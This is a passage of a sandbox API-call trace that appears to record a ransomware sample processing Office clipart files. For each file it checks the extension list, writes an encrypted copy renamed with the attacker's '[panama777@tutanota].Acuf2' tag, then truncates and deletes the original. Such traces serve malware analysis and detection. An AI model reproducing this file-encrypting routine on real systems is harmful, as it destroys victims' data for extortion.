	[0256.735] lstrlenW (lpString=".dbf") returned 4
	[0256.735] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63
	[0256.735] lstrlenW (lpString=".1cd") returned 4
	[0256.735] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63
	[0256.735] lstrlenW (lpString=".jpg") returned 4
	[0256.735] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63
	[0256.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63
	[0256.736] lstrlenW (lpString=".doc") returned 4
	[0256.736] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.736] lstrlenW (lpString=".docx") returned 5
	[0256.736] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.736] lstrlenW (lpString=".pdf") returned 4
	[0256.736] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.736] lstrlenW (lpString=".xls") returned 4
	[0256.736] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.736] lstrlenW (lpString=".xlsx") returned 5
	[0256.736] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.736] lstrlenW (lpString=".ppt") returned 4
	[0256.736] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63
	[0256.736] lstrlenW (lpString=".zip") returned 4
	[0256.736] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.736] lstrlenW (lpString=".rar") returned 4
	[0256.736] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.736] lstrlenW (lpString=".bz2") returned 4
	[0256.736] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.736] lstrlenW (lpString=".7z") returned 3
	[0256.736] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63
	[0256.736] lstrlenW (lpString=".dbf") returned 4
	[0256.736] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63
	[0256.736] lstrlenW (lpString=".1cd") returned 4
	[0256.736] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63
	[0256.737] lstrlenW (lpString=".jpg") returned 4
	[0256.737] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.737] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0256.737] lstrlenW (lpString="BL00247_.WMF") returned 12
	[0256.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0256.737] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=14444) returned 1
	[0256.737] CloseHandle (hObject=0x354) returned 1
	[0256.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf")) returned 0x20
	[0256.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0256.738] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.738] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0256.738] GetLastError () returned 0x0
	[0256.738] ReadFile (in: hFile=0x354, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x386c, lpOverlapped=0x0) returned 1
	[0256.740] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x3870, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x3870, lpOverlapped=0x0) returned 1
	[0256.742] ReadFile (in: hFile=0x354, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.742] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0256.742] SetEndOfFile (hFile=0x35c) returned 1
	[0256.742] CloseHandle (hObject=0x35c) returned 1
	[0256.742] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.742] SetEndOfFile (hFile=0x354) returned 1
	[0256.744] CloseHandle (hObject=0x354) returned 1
	[0256.744] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.744] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf")) returned 1
	[0256.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63
	[0256.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63
	[0256.744] lstrlenW (lpString=".doc") returned 4
	[0256.745] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.745] lstrlenW (lpString=".docx") returned 5
	[0256.745] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.745] lstrlenW (lpString=".pdf") returned 4
	[0256.745] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.745] lstrlenW (lpString=".xls") returned 4
	[0256.745] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.745] lstrlenW (lpString=".xlsx") returned 5
	[0256.745] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.745] lstrlenW (lpString=".ppt") returned 4
	[0256.745] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63
	[0256.745] lstrlenW (lpString=".zip") returned 4
	[0256.745] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.745] lstrlenW (lpString=".rar") returned 4
	[0256.745] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.745] lstrlenW (lpString=".bz2") returned 4
	[0256.745] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.745] lstrlenW (lpString=".7z") returned 3
	[0256.745] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63
	[0256.745] lstrlenW (lpString=".dbf") returned 4
	[0256.745] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63
	[0256.745] lstrlenW (lpString=".1cd") returned 4
	[0256.745] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63
	[0256.745] lstrlenW (lpString=".jpg") returned 4
	[0256.745] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63
	[0256.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63
	[0256.746] lstrlenW (lpString=".doc") returned 4
	[0256.746] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.746] lstrlenW (lpString=".docx") returned 5
	[0256.746] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.746] lstrlenW (lpString=".pdf") returned 4
	[0256.746] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.746] lstrlenW (lpString=".xls") returned 4
	[0256.746] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.746] lstrlenW (lpString=".xlsx") returned 5
	[0256.746] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.746] lstrlenW (lpString=".ppt") returned 4
	[0256.746] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63
	[0256.746] lstrlenW (lpString=".zip") returned 4
	[0256.746] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.746] lstrlenW (lpString=".rar") returned 4
	[0256.746] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.746] lstrlenW (lpString=".bz2") returned 4
	[0256.746] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.746] lstrlenW (lpString=".7z") returned 3
	[0256.746] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63
	[0256.746] lstrlenW (lpString=".dbf") returned 4
	[0256.746] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63
	[0256.746] lstrlenW (lpString=".1cd") returned 4
	[0256.746] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63
	[0256.746] lstrlenW (lpString=".jpg") returned 4
	[0256.746] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.747] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0256.747] lstrlenW (lpString="BL00248_.WMF") returned 12
	[0256.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0256.747] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=1536) returned 1
	[0256.747] CloseHandle (hObject=0x354) returned 1
	[0256.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf")) returned 0x20
	[0256.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0256.747] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.747] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0256.748] GetLastError () returned 0x0
	[0256.748] ReadFile (in: hFile=0x354, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x600, lpOverlapped=0x0) returned 1
	[0256.749] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x610, lpOverlapped=0x0) returned 1
	[0256.750] ReadFile (in: hFile=0x354, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.751] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0256.751] SetEndOfFile (hFile=0x35c) returned 1
	[0256.751] CloseHandle (hObject=0x35c) returned 1
	[0256.751] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.751] SetEndOfFile (hFile=0x354) returned 1
	[0256.756] CloseHandle (hObject=0x354) returned 1
	[0256.756] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.756] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf")) returned 1
	[0256.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63
	[0256.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63
	[0256.757] lstrlenW (lpString=".doc") returned 4
	[0256.757] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.757] lstrlenW (lpString=".docx") returned 5
	[0256.757] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.757] lstrlenW (lpString=".pdf") returned 4
	[0256.757] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.757] lstrlenW (lpString=".xls") returned 4
	[0256.757] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.757] lstrlenW (lpString=".xlsx") returned 5
	[0256.757] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.757] lstrlenW (lpString=".ppt") returned 4
	[0256.757] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63
	[0256.757] lstrlenW (lpString=".zip") returned 4
	[0256.757] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.757] lstrlenW (lpString=".rar") returned 4
	[0256.757] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.757] lstrlenW (lpString=".bz2") returned 4
	[0256.757] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.757] lstrlenW (lpString=".7z") returned 3
	[0256.757] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63
	[0256.757] lstrlenW (lpString=".dbf") returned 4
	[0256.757] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63
	[0256.757] lstrlenW (lpString=".1cd") returned 4
	[0256.757] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63
	[0256.757] lstrlenW (lpString=".jpg") returned 4
	[0256.757] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63
	[0256.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63
	[0256.758] lstrlenW (lpString=".doc") returned 4
	[0256.758] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.758] lstrlenW (lpString=".docx") returned 5
	[0256.758] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.758] lstrlenW (lpString=".pdf") returned 4
	[0256.758] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.758] lstrlenW (lpString=".xls") returned 4
	[0256.758] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.758] lstrlenW (lpString=".xlsx") returned 5
	[0256.758] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.758] lstrlenW (lpString=".ppt") returned 4
	[0256.758] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63
	[0256.758] lstrlenW (lpString=".zip") returned 4
	[0256.758] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.758] lstrlenW (lpString=".rar") returned 4
	[0256.758] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.758] lstrlenW (lpString=".bz2") returned 4
	[0256.758] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.758] lstrlenW (lpString=".7z") returned 3
	[0256.758] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63
	[0256.758] lstrlenW (lpString=".dbf") returned 4
	[0256.758] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63
	[0256.758] lstrlenW (lpString=".1cd") returned 4
	[0256.758] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63
	[0256.759] lstrlenW (lpString=".jpg") returned 4
	[0256.759] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.759] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0256.759] lstrlenW (lpString="BL00252_.WMF") returned 12
	[0256.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0256.759] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=4708) returned 1
	[0256.759] CloseHandle (hObject=0x354) returned 1
	[0256.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf")) returned 0x20
	[0256.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0256.760] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.760] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0256.760] GetLastError () returned 0x0
	[0256.760] ReadFile (in: hFile=0x354, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x1264, lpOverlapped=0x0) returned 1
	[0256.767] WriteFile (in: hFile=0x340, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x1270, lpOverlapped=0x0) returned 1
	[0256.770] ReadFile (in: hFile=0x354, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.770] WriteFile (in: hFile=0x340, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0256.770] SetEndOfFile (hFile=0x340) returned 1
	[0256.771] CloseHandle (hObject=0x340) returned 1
	[0256.771] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.771] SetEndOfFile (hFile=0x354) returned 1
	[0257.191] CloseHandle (hObject=0x354) returned 1
	[0257.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0257.289] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf")) returned 1
	[0257.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63
	[0257.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63
	[0257.290] lstrlenW (lpString=".doc") returned 4
	[0257.290] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.290] lstrlenW (lpString=".docx") returned 5
	[0257.290] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.290] lstrlenW (lpString=".pdf") returned 4
	[0257.290] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.290] lstrlenW (lpString=".xls") returned 4
	[0257.290] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.290] lstrlenW (lpString=".xlsx") returned 5
	[0257.290] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.290] lstrlenW (lpString=".ppt") returned 4
	[0257.290] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63
	[0257.290] lstrlenW (lpString=".zip") returned 4
	[0257.290] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.290] lstrlenW (lpString=".rar") returned 4
	[0257.290] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.290] lstrlenW (lpString=".bz2") returned 4
	[0257.290] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.290] lstrlenW (lpString=".7z") returned 3
	[0257.290] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63
	[0257.290] lstrlenW (lpString=".dbf") returned 4
	[0257.290] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63
